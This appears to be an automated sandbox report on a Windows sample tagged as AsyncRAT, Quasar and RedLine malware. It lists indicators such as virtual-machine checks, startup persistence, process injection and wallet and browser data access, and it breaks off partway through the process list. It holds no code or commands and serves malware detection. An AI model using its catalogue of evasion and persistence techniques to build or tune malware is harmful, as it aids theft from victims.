Malware Analysis Report

2025-08-05 17:33

Sample ID 221101-mq4kaaahg7
Target BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
SHA256 bdd2412c4cb1952748237e6cc32bb3d39a68cb4e1ed3e00db88e74532f1c4d2a
Tags
asyncrat quasar redline cheat r77version youtube evasion infostealer rat spyware stealer trojan discovery
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

bdd2412c4cb1952748237e6cc32bb3d39a68cb4e1ed3e00db88e74532f1c4d2a

Threat Level: Known bad

The file BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe was found to be: Known bad.

Malicious Activity Summary

asyncrat quasar redline cheat r77version youtube evasion infostealer rat spyware stealer trojan discovery

Suspicious use of NtCreateUserProcessOtherParentProcess

RedLine

Quasar payload

AsyncRat

Suspicious use of NtCreateProcessExOtherParentProcess

Quasar RAT

RedLine payload

Looks for VirtualBox Guest Additions in registry

Async RAT payload

Executes dropped EXE

Looks for VMWare Tools registry key

Reads user/profile data of web browsers

Checks computer location settings

Drops startup file

Checks BIOS information in registry

Loads dropped DLL

Accesses cryptocurrency files/wallets, possible credential harvesting

Checks installed software on the system

Looks up external IP address via web service

Maps connected drives based on registry

Drops file in System32 directory

Suspicious use of SetThreadContext

Program crash

Enumerates physical storage devices

Delays execution with timeout.exe

Modifies data under HKEY_USERS

Suspicious use of AdjustPrivilegeToken

Checks SCSI registry key(s)

Creates scheduled task(s)

Enumerates system info in registry

Suspicious use of WriteProcessMemory

Suspicious use of SetWindowsHookEx

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-11-01 10:41

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2022-11-01 10:41

Reported

2022-11-01 10:43

Platform

win7-20220812-en

Max time kernel

151s

Max time network

150s

Command Line

C:\Windows\system32\lsass.exe

Signatures

AsyncRat

rat asyncrat

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 1108 created 416 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\system32\winlogon.exe
PID 1976 created 416 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\system32\winlogon.exe

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A

Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Users\Admin\AppData\Roaming\$77-update.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Roaming\$77-update.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77Clip.exe C:\Users\Admin\AppData\Local\Temp\jryyjp.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77Clip.exe C:\Users\Admin\AppData\Local\Temp\jryyjp.exe N/A

Reads user/profile data of web browsers

spyware stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Users\Admin\AppData\Roaming\$77-update.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b00bc812e7edd801 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\aztndq.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\dllhost.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\aztndq.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\adiojv.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\svchost.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1488 wrote to memory of 1920 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 1488 wrote to memory of 1920 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 1488 wrote to memory of 1920 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 1488 wrote to memory of 1920 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 1488 wrote to memory of 1920 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 1488 wrote to memory of 1920 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 1488 wrote to memory of 1920 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 1488 wrote to memory of 1920 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 1488 wrote to memory of 1920 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 1920 wrote to memory of 1628 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 1920 wrote to memory of 1628 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 1920 wrote to memory of 1628 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 1920 wrote to memory of 1628 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 1920 wrote to memory of 968 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 1920 wrote to memory of 968 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 1920 wrote to memory of 968 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 1920 wrote to memory of 968 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 1628 wrote to memory of 1380 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 1628 wrote to memory of 1380 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 1628 wrote to memory of 1380 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 1628 wrote to memory of 1380 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 968 wrote to memory of 1668 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 968 wrote to memory of 1668 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 968 wrote to memory of 1668 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 968 wrote to memory of 1668 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 968 wrote to memory of 1564 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 968 wrote to memory of 1564 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 968 wrote to memory of 1564 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 968 wrote to memory of 1564 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 968 wrote to memory of 1564 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 968 wrote to memory of 1564 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 968 wrote to memory of 1564 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 1564 wrote to memory of 1536 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 1564 wrote to memory of 1536 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 1564 wrote to memory of 1536 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 1564 wrote to memory of 1536 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 1564 wrote to memory of 1536 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 1564 wrote to memory of 1536 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 1564 wrote to memory of 1536 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 1564 wrote to memory of 1536 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 1564 wrote to memory of 1536 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 1564 wrote to memory of 1536 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 1564 wrote to memory of 1536 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 1564 wrote to memory of 1536 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 1536 wrote to memory of 540 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1536 wrote to memory of 540 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1536 wrote to memory of 540 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1536 wrote to memory of 540 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1536 wrote to memory of 1608 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1536 wrote to memory of 1608 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1536 wrote to memory of 1608 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1536 wrote to memory of 1608 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1536 wrote to memory of 704 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\cmd.exe
PID 1536 wrote to memory of 704 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\cmd.exe
PID 1536 wrote to memory of 704 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\cmd.exe
PID 1536 wrote to memory of 704 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\cmd.exe
PID 704 wrote to memory of 948 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 704 wrote to memory of 948 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 704 wrote to memory of 948 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 704 wrote to memory of 948 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 948 wrote to memory of 1636 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\pnzqhe.exe
PID 948 wrote to memory of 1636 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\pnzqhe.exe
PID 948 wrote to memory of 1636 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\pnzqhe.exe
PID 948 wrote to memory of 1636 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\pnzqhe.exe

Processes

C:\Windows\system32\lsass.exe

C:\Windows\system32\lsass.exe

C:\Windows\system32\services.exe

C:\Windows\system32\services.exe

C:\Windows\system32\winlogon.exe

winlogon.exe

C:\Windows\system32\lsm.exe

C:\Windows\system32\lsm.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs

C:\Windows\System32\spoolsv.exe

C:\Windows\System32\spoolsv.exe

C:\Windows\system32\taskhost.exe

"taskhost.exe"

C:\Windows\system32\Dwm.exe

"C:\Windows\system32\Dwm.exe"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation

C:\Windows\system32\sppsvc.exe

C:\Windows\system32\sppsvc.exe

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

\\?\C:\Windows\system32\wbem\WMIADAP.EXE

wmiadap.exe /F /T /R

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkService

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k RPCSS

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k DcomLaunch

C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe

"C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe"

C:\Windows\system32\wbem\wmiprvse.exe

C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe

"{path}"

